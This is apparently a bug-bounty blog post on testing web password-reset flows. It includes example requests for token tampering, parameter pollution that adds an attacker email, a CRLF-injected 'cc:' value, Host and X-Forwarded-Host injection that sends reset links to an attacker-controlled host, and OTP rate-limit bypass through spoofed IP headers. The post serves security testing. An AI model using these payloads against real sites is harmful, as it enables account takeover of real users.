BOOK THIS SPACE FOR AD
ARTICLE ADPassword reset is a function commonly founded in modern web app. This function normally would be the first function I tested in every web app as once a bug is founded, it is normally a critical one. In this article, I would show several ways to test this function.
Before going deep in how to test a password-reset function, first we need to know how password-reset normally works.
When you need to reset a password in a web app. A POST request like below would be sent to the server.
POST /reset-passwordHOST: example.com{"email":"victim@victim.com"}
Then, a link like below would be sent to victim@victim.com for reset password:
www.example.com/reset-password?token=abcd123kj1k1jfk1The token would be used to identify which user is resetting their password. In this case, if the token is leaked to attacker, attacker would able to access the link and reset victim’s password.
Another common way to reset password is using OTP. Instead of sending a link with token like above, an OTP (normally 6-digit) would be sent to user’s email and user needs to input correct OTP in order to reset their password.
Test for Password Reset Link ValidationAs mentioned above, sometimes user would assigned a link with a token for their password reset. In theory, the backend server should validate whether the token is assigned and which user they assigned to. Sometimes, the backend server might not do it properly. So, you might try below ways to work around the password reset link:
Try reset password with empty token (e.g. www.example.com/reset-password or www.example.com/reset-password?token=);Try using special character in token (e.g. www.example.com/reset-password?token=%00%00);Try decrypt token using base65, MD5 decode or Timestamp etc);Check pattern of the token. Are there any part of the token remain unchanged for several requests? Userid included in the token?Can same password reset link be reused and without expiration?Above are only some examples of how to test for backend validation. You can also come up with other possibilities to play around with the token. Remember, hacking always is being CREATIVE. That’s what you make yourself different from others.
2. Adding Attacker’s Email in POST Request
Another method is try to add attacker’s E-mail in the POST request and check if the password reset token or OTP would be sent to attacker’s email. For example, you can try amending victim’s email to attacker’s email like below:
POST /reset-passwordHOST: example.com{"email":"attacker@attacker.com"}
Instead of the example above, you can also try to send a POST request including both attacker and victim’s email like below:
POST /reset-passwordHOST: example.com{"email":["victim@victim.com", "attacker@attacker.com"]}
Sometimes, the POST request is using parameter instead of JSON. For example:
POST /reset-passwordHOST: example.comemail=victim@victim.com
In this case, you may also try below payloads for such attack:
email=victim@victim.com&email=attacker@attacker.comemail=victim@victim.com,attacker@attacker.com
email=victim@victim.com%20attacker@attacker.com
email=victim@victim.com|attacker@attacker.com
email=victim@victim.com%0a%0dcc:attacker@attacker.com
3. Host Header Injection
Another way for testing password-reset function is host header injection. Taking the POST request in first section, you may injecting a HOST header like below:
POST /reset-passwordHOST: www.attacker.comemail=victim@victim.com
As you can see, we just amend the Host header from www.example.com to www.attacker.com. If you are lucky, victim would receive an email for resetting their password. But instead of getting something like this:
www.example.com/reset-password?token=abcd123kj1k1jfk1They would get something like below:
www.attacker.com/reset-password?token=abcd123kj1k1jfk1Thus, if victim clicks on the link, attacker’s hosted server would receive request from Victim. Attacker can either access the password reset page using the token given or host a phishing page to steal victim’s credential.
Apart from changing Host header, you can also try adding headers like below to override the Host header at the backend:
X-Forwarded-For: www.attacker.comX-Forwarded-Host: www.attacker.com
4. Bypass OTP limit
In theory, web app should have a rate limit for password reset using OTP. Otherwise, attacker can bruteforce the OTP of victim and reset their password. Rate limit check is in place? Dont stop! There are several ways that you can try to bypass the OTP ratelimit:
Sometimes ratelimit only set for specific IP. Thus, you can try making POST request from different IP to bypass rate limit;Sometimes webapp password reset backend might be host in different server. Try sending each request to different servers to bypass the rate limit;Try adding nullbytes after username or email (e.g. %00, %0d%0a, %09, %0C, %20, %0);Try add header/s with request such as X-Originating-IP, X-Forwarded-For, X-Remote-IP, X-Remote-Addr, X-Client-IP, X-Host, X-Forwared-Host etc. And add a different IP to value.5. Leakage of reset token/OTP
Sometimes, the webapp might leak reset token or OTP somewhere. Thus, you can turn your Burpsuite on all the time. Then, once you sent a password reset request, you can check if the reset token or OTP is leaked somewhere in the traffic.
Conclusion
Password reset function always been my favourite testing area. Not only because the bugs found are normally crit bugs. It also very easy to understand and exploit is very simple. Hope you enjoy my sharing above. See you next time!